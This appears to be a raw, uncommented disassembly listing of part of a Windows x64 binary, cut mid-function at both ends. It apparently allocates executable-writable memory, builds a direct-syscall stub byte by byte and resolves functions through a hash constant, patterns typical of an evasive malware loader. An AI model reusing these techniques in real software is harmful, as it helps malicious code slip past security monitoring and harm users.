mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11c10]
mov qword [rsp + 0x5680], rax
mov rcx, qword [rsp + 0x5680]
call fcn.140097960
mov qword [rsp + 0xdea0], rax
mov rcx, qword [rsp + 0x5680]
call fcn.140097950
mov qword [rsp + 0x3dc0], rax
mov rax, qword [rsp + 0x3dc0]
mov rax, qword [rax]
mov qword [rsp + 0x5698], rax
mov rax, qword [rsp + 0x43f8]
mov qword [rsp + 0x8c88], rax
mov rax, qword [rsp + 0x8c88]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8c90], rax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5688], rax
mov eax, dword [rsp + 0x5688]
add rax, qword [rsp + 0x43f8]
mov qword [rsp + 0x5690], rax
mov eax, dword [rsp + 0x568c]
mov rcx, qword [rsp + 0x5690]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x5690]
cmp qword [rsp + 0x5698], rax
jb 0x14012f3a7
mov rax, qword [rsp + 0x8c98]
cmp qword [rsp + 0x5698], rax
jae 0x14012f3a7
mov dword [rsp + 0x998], 1
jmp 0x14012f3b2
mov dword [rsp + 0x998], 0
movzx eax, byte [rsp + 0x998]
mov byte [rsp + 0xe6], al
movzx eax, byte [rsp + 0xe6]
test eax, eax
je 0x14012f681
mov rax, qword [rsp + 0x3dc0]
mov rax, qword [rax]
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8ca0]
mov qword [rsp + 0x8ca8], rax
lea rax, [rsp + 0x12528]
mov qword [rsp + 0x8cb0], rax
mov rdx, qword [rsp + 0x8ca8]
mov rcx, qword [rsp + 0x8cb0]
call fcn.140095590
lea rcx, [rsp + 0x6df0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6df0]
call fcn.140191090
mov qword [rsp + 0x3db8], rax
cmp qword [rsp + 0x3db8], 0xffffffffffffffff
je 0x14012f4bc
mov r9, qword [rsp + 0x3db8]
xor r8d, r8d
lea rdx, [rsp + 0xec50]
lea rcx, [rsp + 0x6df0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3db8]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xec40]
lea rcx, [rsp + 0x6df0]
call fcn.14019aaa0
lea r8, [rsp + 0xec40]
lea rdx, [rsp + 0xec50]
lea rcx, [rsp + 0x110b0]
call fcn.14008f7e0
jmp 0x14012f4f7
lea rax, [rsp + 0x6df0]
mov qword [rsp + 0x8cb8], rax
lea rcx, [rsp + 0xec60]
call fcn.140099fb0
lea r8, [rsp + 0xec60]
mov rdx, qword [rsp + 0x8cb8]
lea rcx, [rsp + 0x110b0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x110b0]
call fcn.140097960
mov qword [rsp + 0x8cc0], rax
lea rcx, [rsp + 0x110b0]
call fcn.140097950
mov qword [rsp + 0x8cd8], rax
lea rax, [rsp + 0xcff8]
mov qword [rsp + 0x8cd0], rax
lea rax, [rsp + 0x1d00]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1d00]
call fcn.14009b310
mov qword [rsp + 0x8cc8], rax
lea rax, [rsp + 0xec70]
mov rdi, rax
mov rsi, qword [rsp + 0x8cc0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xec80]
lea rcx, [rsp + 0xec70]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xec80]
mov rcx, qword [rsp + 0x8cc8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8cd0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1d08], eax
lea rax, [rsp + 0xcffc]
mov qword [rsp + 0x8ce8], rax
lea rax, [rsp + 0x1d04]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1d04]
call fcn.14009b310
mov qword [rsp + 0x8ce0], rax
lea rax, [rsp + 0xec90]
mov rdi, rax
mov rsi, qword [rsp + 0x8cd8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xeca0]
lea rcx, [rsp + 0xec90]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xeca0]
mov rcx, qword [rsp + 0x8ce0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8ce8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1d0c], eax
mov r8d, dword [rsp + 0x1d08]
mov edx, dword [rsp + 0x1d0c]
lea rcx, [rsp + 0x3dc8]
call fcn.140191150
mov qword [rsp + 0x1290], rax
jmp 0x14012f6a7
mov rax, qword [rsp + 0x3dc0]
mov rax, qword [rax]
mov qword [rsp + 0x1290], rax
jmp 0x14012f6a7
mov qword [rsp + 0x1290], 0
mov rax, qword [rsp + 0x1290]
mov qword [rsp + 0x3dc8], rax
lea rcx, [rsp + 0x3dc8]
call fcn.1400a2c10
mov qword [rsp + 0x8cf0], rax
mov eax, dword [rsp + 0x6410]
mov dword [rsp + 0x1d10], eax
mov rax, qword [rsp + 0x8cf0]
mov qword [rsp + 0x8cf8], rax
mov eax, dword [rsp + 0x1d10]
mov dword [rsp + 0x1d18], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xecb0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8d00], rax
lea r9, [rsp + 0x8cf8]
lea r8, [rsp + 0x1d18]
lea rdx, [rsp + 0x12538]
mov rcx, qword [rsp + 0x8d00]
call fcn.140098320
lea rcx, [rsp + 0xecb0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3dc8]
call fcn.1400a2c10
mov qword [rsp + 0x8d08], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1d20], eax
mov eax, dword [rsp + 0x1d20]
mov dword [rsp + 0x6414], eax
lea rax, [rsp + 0x6418]
mov qword [rsp + 0x8d10], rax
mov eax, dword [rsp + 0x6414]
mov dword [rsp + 0x1d28], eax
mov rax, qword [rsp + 0x8d10]
add rax, 0x11
mov qword [rsp + 0x8d18], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x8d18]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1d28]
mov dword [rax], ecx
lea rax, [rsp + 0x6418]
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0x5d0]
add rax, 0x10
mov qword [rsp + 0xdea8], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x8d20], rax
mov qword [rsp + 0x56a0], 0
mov qword [rsp + 0x8d28], 0xd
mov rax, qword [rsp + 0x8d20]
mov qword [rsp + 0x8d30], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x8d28]
xor r8d, r8d
lea rdx, [rsp + 0x56a0]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x8d30]
mov dword [rsp + 0x1d30], eax
cmp dword [rsp + 0x1d30], 0
jl 0x14012f88b
mov rax, qword [rsp + 0x56a0]
mov qword [rsp + 0x56a8], rax
jmp 0x14012f897
mov qword [rsp + 0x56a8], 0
mov rax, qword [rsp + 0x56a8]
mov qword [rsp + 0x8d38], rax
mov rax, qword [rsp + 0x5d0]
mov rcx, qword [rsp + 0x8d38]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5d0]
cmp qword [rax + 8], 0
jne 0x14012f8cc
jmp 0x14012f910
mov rax, qword [rsp + 0x5d0]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5d0]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5d0]
mov rcx, qword [rsp + 0x5d0]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6418]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x8d40]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x8d48]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x8d50]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x8d58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x8d60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x8d68]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x8d70]
mov r8, qword [rsp + 0x8d78]
mov rdx, qword [rsp + 0x8d80]
mov rcx, qword [rsp + 0x8d88]
call qword [rsp + 0x8d90]
mov dword [rsp + 0x1d34], eax
lea rcx, [rsp + 0x6410]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1d34]
mov dword [rsp + 0x1d38], eax
cmp dword [rsp + 0x1d38], 0
jge 0x14012f9c8
mov byte [rsp + 0x7d], 0
jmp 0x14012f9cd
mov byte [rsp + 0x7d], 1
movzx eax, byte [rsp + 0x7d]
test eax, eax
je 0x14012f9e1
cmp qword [rsp + 0x3dd0], 0
jne 0x14012f9ee
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov rax, qword [rsp + 0x3dd0]
mov rcx, qword [rsp + 0x5f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d98], rax
mov dword [rsp + 0x1a0], 1
mov rax, qword [rsp + 0x5f0]
cmp qword [rsp + 0x1298], rax
jb 0x14012fa3d
mov rax, qword [rsp + 0x8d98]
cmp qword [rsp + 0x1298], rax
jae 0x14012fa3d
jmp 0x14012fa48
mov dword [rsp + 0x1a0], 2
lea rax, [rsp + 0x12e20]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
lea rax, [rsp + 0x12e20]
mov qword [rsp + 0x56b8], rax
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0x56b0], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x8de0], rax
cmp qword [rsp + 0x56b8], 0
je 0x14012faaa
cmp qword [rsp + 0x56b0], 0
je 0x14012faaa
xor eax, eax
cmp rax, 0x40
jne 0x14012fab4
mov byte [rsp + 0x7e], 0
jmp 0x140130c0d
lea rax, [rsp + 0xd890]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd890], 0x33
mov rax, qword [rsp + 0x56b0]
mov qword [rsp + 0xd8a0], rax
mov rax, qword [rsp + 0x56b8]
mov qword [rsp + 0xd8a8], rax
mov qword [rsp + 0xd8b0], 0x40
mov dword [rsp + 0x1d7c], 0
mov qword [rsp + 0x8da8], 0
mov qword [rsp + 0x8db0], 0x28
lea rax, [rsp + 0xd890]
mov qword [rsp + 0x8db8], rax
lea rax, [rsp + 0x12548]
mov qword [rsp + 0x8dc0], rax
mov qword [rsp + 0x8dc8], 0
mov qword [rsp + 0x8dd0], 0
mov qword [rsp + 0x8dd8], 0
mov dword [rsp + 0x1d3c], 0x9363e455
mov eax, dword [rsp + 0x1d3c]
mov dword [rsp + 0x1d40], eax
lea rcx, [rsp + 0x1d40]
call fcn.1400a2c20
mov dword [rsp + 0x6438], eax
mov dword [rsp + 0x643c], 0
lea rax, [rsp + 0x6440]
mov qword [rsp + 0x8da0], rax
mov dword [rsp + 0x1d78], 0x49
mov dword [rsp + 0x1d74], 0x89
mov dword [rsp + 0x1d70], 0xca
mov dword [rsp + 0x1d6c], 0x48
mov dword [rsp + 0x1d68], 0xc7
mov dword [rsp + 0x1d64], 0xc0
mov dword [rsp + 0x1d60], 0x3f
mov dword [rsp + 0x1d5c], 0x10
mov dword [rsp + 0x1d58], 0
mov dword [rsp + 0x1d54], 0
mov dword [rsp + 0x1d50], 0xf
mov dword [rsp + 0x1d4c], 5
mov dword [rsp + 0x1d48], 0xc3
lea rax, [rsp + 0x1d48]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1d4c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1d50]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1d54]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1d58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1d5c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1d60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1d64]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1d68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1d6c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1d70]
lea r8, [rsp + 0x1d74]
lea rdx, [rsp + 0x1d78]
mov rcx, qword [rsp + 0x8da0]
call fcn.14008f900
mov byte [rsp + 0x280], 1
mov byte [rsp + 0x281], 0
movsxd rax, dword [rsp + 0x1d7c]
mov qword [rsp + 0x8f18], rax
mov byte [rsp + 0x282], 0
mov byte [rsp + 0x283], 0
mov rax, qword [rsp + 0x8da8]
mov qword [rsp + 0x8f20], rax
mov byte [rsp + 0x284], 0
mov byte [rsp + 0x285], 1
mov rax, qword [rsp + 0x8db0]
mov qword [rsp + 0x8f28], rax
mov byte [rsp + 0x286], 0
mov byte [rsp + 0x287], 0
mov rax, qword [rsp + 0x8db8]
mov qword [rsp + 0x8f30], rax
mov byte [rsp + 0x288], 0
mov byte [rsp + 0x289], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x8f38], rax
mov byte [rsp + 0x28a], 0
mov byte [rsp + 0x28b], 0
mov rax, qword [rsp + 0x8dc0]
mov qword [rsp + 0x8f40], rax
mov byte [rsp + 0x28c], 0
mov byte [rsp + 0x28d], 0
mov rax, qword [rsp + 0x8dc8]
mov qword [rsp + 0x8f48], rax
mov byte [rsp + 0x28e], 0
mov byte [rsp + 0x28f], 0
mov rax, qword [rsp + 0x8dd0]
mov qword [rsp + 0x8f50], rax
mov byte [rsp + 0x290], 0
mov byte [rsp + 0x291], 0
mov rax, qword [rsp + 0x8dd8]
mov qword [rsp + 0x8f58], rax
mov byte [rsp + 0x292], 0
mov byte [rsp + 0x293], 0
mov rax, qword [rsp + 0x8de0]
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x6438]
mov dword [rsp + 0x1d80], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xecc0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8de8], rax
lea r8, [rsp + 0x1d80]
lea rdx, [rsp + 0x56c0]
mov rcx, qword [rsp + 0x8de8]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8df0], rax
lea rdx, [rsp + 0xdeb0]
mov rcx, qword [rsp + 0x8df0]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x56c0]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14012fec5
mov qword [rsp + 0x56c8], 0
jmp 0x14012fede
lea rcx, [rsp + 0x56c0]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x56c8], rax
mov rax, qword [rsp + 0x56c8]
mov qword [rsp + 0x8df8], rax
lea rcx, [rsp + 0xecc0]
call fcn.1400a0f10
mov rax, qword [rsp + 0x8df8]
mov qword [rsp + 0x56d0], rax
cmp qword [rsp + 0x56d0], 0
je 0x14012ff3b
mov rax, qword [rsp + 0x56d0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1d88], eax
mov eax, dword [rsp + 0x1d88]
mov dword [rsp + 0x643c], eax
jmp 0x1401309c9
lea rax, [rsp + 0xd000]
mov qword [rsp + 0x8e00], rax
xor edx, edx
mov rcx, qword [rsp + 0x8e00]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1d8c], eax
lea rax, [rsp + 0xd004]
mov qword [rsp + 0x8e08], rax
mov edx, dword [rsp + 0x6438]
mov rcx, qword [rsp + 0x8e08]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1d90], eax
mov eax, dword [rsp + 0x1d8c]
mov dword [rsp + 0x9a0], eax
mov eax, dword [rsp + 0x1d90]
mov dword [rsp + 0x9b8], eax
xor edx, edx
lea rcx, [rsp + 0x1d94]
call fcn.14009b2f0
lea rdx, [rsp + 0x1d94]
lea rcx, [rsp + 0x9b8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14012ffe8
mov qword [rsp + 0x12a8], 0
jmp 0x1401308e7
mov byte [rsp + 0x294], 1
mov qword [rsp + 0x6e00], 0
mov qword [rsp + 0x6e08], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3dd8], rax
mov eax, 1
test eax, eax
je 0x14013003a
mov rax, qword [rsp + 0x3dd8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x56d8], rax
jmp 0x14013004d
mov rax, qword [rsp + 0x3dd8]
mov rax, qword [rax]
mov qword [rsp + 0x56d8], rax
mov rax, qword [rsp + 0x56d8]
mov qword [rsp + 0x6e00], rax
mov rax, qword [rsp + 0x3dd8]
mov qword [rsp + 0x6e08], rax
lea rax, [rsp + 0x6e00]
mov qword [rsp + 0x56e0], rax
lea rdx, [rsp + 0x12a0]
mov rcx, qword [rsp + 0x56e0]
call fcn.14018efb0
lea rdx, [rsp + 0x8e10]
mov rcx, qword [rsp + 0x56e0]
call fcn.140190a30
jmp 0x1401300bc
mov rax, qword [rsp + 0x12a0]
mov rax, qword [rax]
mov qword [rsp + 0x12a0], rax
mov rax, qword [rsp + 0x8e10]
cmp qword [rsp + 0x12a0], rax
je 0x1401300db
mov dword [rsp + 0x99c], 1
jmp 0x1401300e6
mov dword [rsp + 0x99c], 0
movzx eax, byte [rsp + 0x99c]
test eax, eax
je 0x1401308db
xor edx, edx
mov rcx, qword [rsp + 0x12a0]
call fcn.140096d90
mov qword [rsp + 0x8e18], rax
lea rax, [rsp + 0x8e18]
mov qword [rsp + 0x56e8], rax
xor edx, edx
lea rcx, [rsp + 0x1d98]
call fcn.14009b2f0
lea rdx, [rsp + 0x1d98]
lea rcx, [rsp + 0x9a0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140130386
mov rax, qword [rsp + 0x56e8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x8e20], rax
lea rdx, [rsp + 0x12558]
mov rcx, qword [rsp + 0x8e20]
call fcn.14019acf0
lea rcx, [rsp + 0xecd0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x9a0]
mov dword [rsp + 0x1d9c], eax
lea rax, [rsp + 0xd240]
lea rcx, [rsp + 0xecd0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1d9c]
mov dword [rsp + 0x9a8], eax
lea rax, [rsp + 0x1da0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1da0]
call fcn.14009b310
mov qword [rsp + 0x8e28], rax
lea rax, [rsp + 0xece0]
lea rcx, [rsp + 0xd240]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xecf0]
lea rcx, [rsp + 0xece0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xecf0]
mov rcx, qword [rsp + 0x8e28]
call fcn.140097890
mov dword [rsp + 0x1da8], eax
lea rcx, [rsp + 0xd240]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x8e30], rax
mov r9, qword [rsp + 0x8e30]
xor r8d, r8d
lea rdx, [rsp + 0xed00]
lea rcx, [rsp + 0xd240]
call fcn.14019ab70
lea rax, [rsp + 0x1da4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1da4]
call fcn.14009b310
mov qword [rsp + 0x8e38], rax
lea rax, [rsp + 0xed10]
lea rcx, [rsp + 0xed00]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xed20]
lea rcx, [rsp + 0xed10]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xed20]
mov rcx, qword [rsp + 0x8e38]
call fcn.140097890
mov dword [rsp + 0x1db0], eax
mov edx, dword [rsp + 0x1da8]
lea rcx, [rsp + 0x1dac]
call fcn.14009b2f0
lea rdx, [rsp + 0x1dac]
lea rcx, [rsp + 0x9a8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013036a
mov edx, dword [rsp + 0x1db0]
lea rcx, [rsp + 0x1db4]
call fcn.14009b2f0
lea rdx, [rsp + 0x1db4]
lea rcx, [rsp + 0x9a8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14013036a
mov dword [rsp + 0x9b0], 1
jmp 0x140130375
mov dword [rsp + 0x9b0], 0
movzx eax, byte [rsp + 0x9b0]
test eax, eax
je 0x140130386
jmp 0x1401300a9
mov rax, qword [rsp + 0x56e8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x43b8], rax
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x8e40], rax
mov rax, qword [rsp + 0x8e40]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8e48], rax
mov rax, qword [rsp + 0x8e48]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x8e50], rax
mov eax, dword [rsp + 0x8e50]
add rax, qword [rsp + 0x43b8]
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0x8e58]
mov qword [rsp + 0x43c0], rax
lea rdx, [rsp + 0x9b8]
lea rcx, [rsp + 0xd008]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11c28]
lea rcx, [rsp + 0x43b8]
call fcn.140097040
lea rdx, [rsp + 0x13768]
lea rcx, [rsp + 0x43b8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11c28]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140130472
jmp 0x1401300a9
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1401304f5
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11c38]
mov qword [rsp + 0x56f8], rax
mov rcx, qword [rsp + 0x56f8]
call fcn.140097960
mov qword [rsp + 0xdeb8], rax
mov rcx, qword [rsp + 0x56f8]
call fcn.140097950
mov qword [rsp + 0x3de8], rax
mov rax, qword [rsp + 0x3de8]
mov rax, qword [rax]
mov qword [rsp + 0x5710], rax
mov rax, qword [rsp + 0x43b8]
mov qword [rsp + 0x8e60], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8e68], rax
mov rax, qword [rsp + 0x8e68]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5700], rax
mov eax, dword [rsp + 0x5700]
add rax, qword [rsp + 0x43b8]
mov qword [rsp + 0x5708], rax
mov eax, dword [rsp + 0x5704]
mov rcx, qword [rsp + 0x5708]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0x5708]
cmp qword [rsp + 0x5710], rax
jb 0x1401305e7
mov rax, qword [rsp + 0x8e70]
cmp qword [rsp + 0x5710], rax
jae 0x1401305e7
mov dword [rsp + 0x9c0], 1
jmp 0x1401305f2
mov dword [rsp + 0x9c0], 0
movzx eax, byte [rsp + 0x9c0]
mov byte [rsp + 0xe7], al
movzx eax, byte [rsp + 0xe7]
test eax, eax
je 0x1401308c1
mov rax, qword [rsp + 0x3de8]
mov rax, qword [rax]
mov qword [rsp + 0x8e78], rax
mov rax, qword [rsp + 0x8e78]
mov qword [rsp + 0x8e80], rax
lea rax, [rsp + 0x12568]
mov qword [rsp + 0x8e88], rax
mov rdx, qword [rsp + 0x8e80]
mov rcx, qword [rsp + 0x8e88]
call fcn.140095590
lea rcx, [rsp + 0x6e10]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6e10]
call fcn.140191090
mov qword [rsp + 0x3de0], rax
cmp qword [rsp + 0x3de0], 0xffffffffffffffff
je 0x1401306fc
mov r9, qword [rsp + 0x3de0]
xor r8d, r8d
lea rdx, [rsp + 0xed40]
lea rcx, [rsp + 0x6e10]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3de0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xed30]
lea rcx, [rsp + 0x6e10]
call fcn.14019aaa0
lea r8, [rsp + 0xed30]
lea rdx, [rsp + 0xed40]
lea rcx, [rsp + 0x110d0]
call fcn.14008f7e0
jmp 0x140130737
lea rax, [rsp + 0x6e10]
mov qword [rsp + 0x8e90], rax
lea rcx, [rsp + 0xed50]
call fcn.140099fb0
lea r8, [rsp + 0xed50]
mov rdx, qword [rsp + 0x8e90]
lea rcx, [rsp + 0x110d0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x110d0]
call fcn.140097960
mov qword [rsp + 0x8e98], rax
lea rcx, [rsp + 0x110d0]
call fcn.140097950
mov qword [rsp + 0x8eb0], rax
lea rax, [rsp + 0xd00c]
mov qword [rsp + 0x8ea8], rax
lea rax, [rsp + 0x1db8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1db8]
call fcn.14009b310
mov qword [rsp + 0x8ea0], rax
lea rax, [rsp + 0xed60]
mov rdi, rax
mov rsi, qword [rsp + 0x8e98]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xed70]
lea rcx, [rsp + 0xed60]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xed70]
mov rcx, qword [rsp + 0x8ea0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8ea8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1dc0], eax
lea rax, [rsp + 0xd010]
mov qword [rsp + 0x8ec0], rax
lea rax, [rsp + 0x1dbc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1dbc]
call fcn.14009b310
mov qword [rsp + 0x8eb8], rax
lea rax, [rsp + 0xed80]
mov rdi, rax
mov rsi, qword [rsp + 0x8eb0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xed90]
lea rcx, [rsp + 0xed80]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xed90]
mov rcx, qword [rsp + 0x8eb8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8ec0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1dc4], eax
mov r8d, dword [rsp + 0x1dc0]
mov edx, dword [rsp + 0x1dc4]
lea rcx, [rsp + 0x3df0]
call fcn.140191150
mov qword [rsp + 0x12a8], rax
jmp 0x1401308e7
mov rax, qword [rsp + 0x3de8]
mov rax, qword [rax]
mov qword [rsp + 0x12a8], rax
jmp 0x1401308e7
mov qword [rsp + 0x12a8], 0
mov rax, qword [rsp + 0x12a8]
mov qword [rsp + 0x3df0], rax
lea rcx, [rsp + 0x3df0]
call fcn.1400a2c10
mov qword [rsp + 0x8ec8], rax
mov eax, dword [rsp + 0x6438]
mov dword [rsp + 0x1dc8], eax
mov rax, qword [rsp + 0x8ec8]
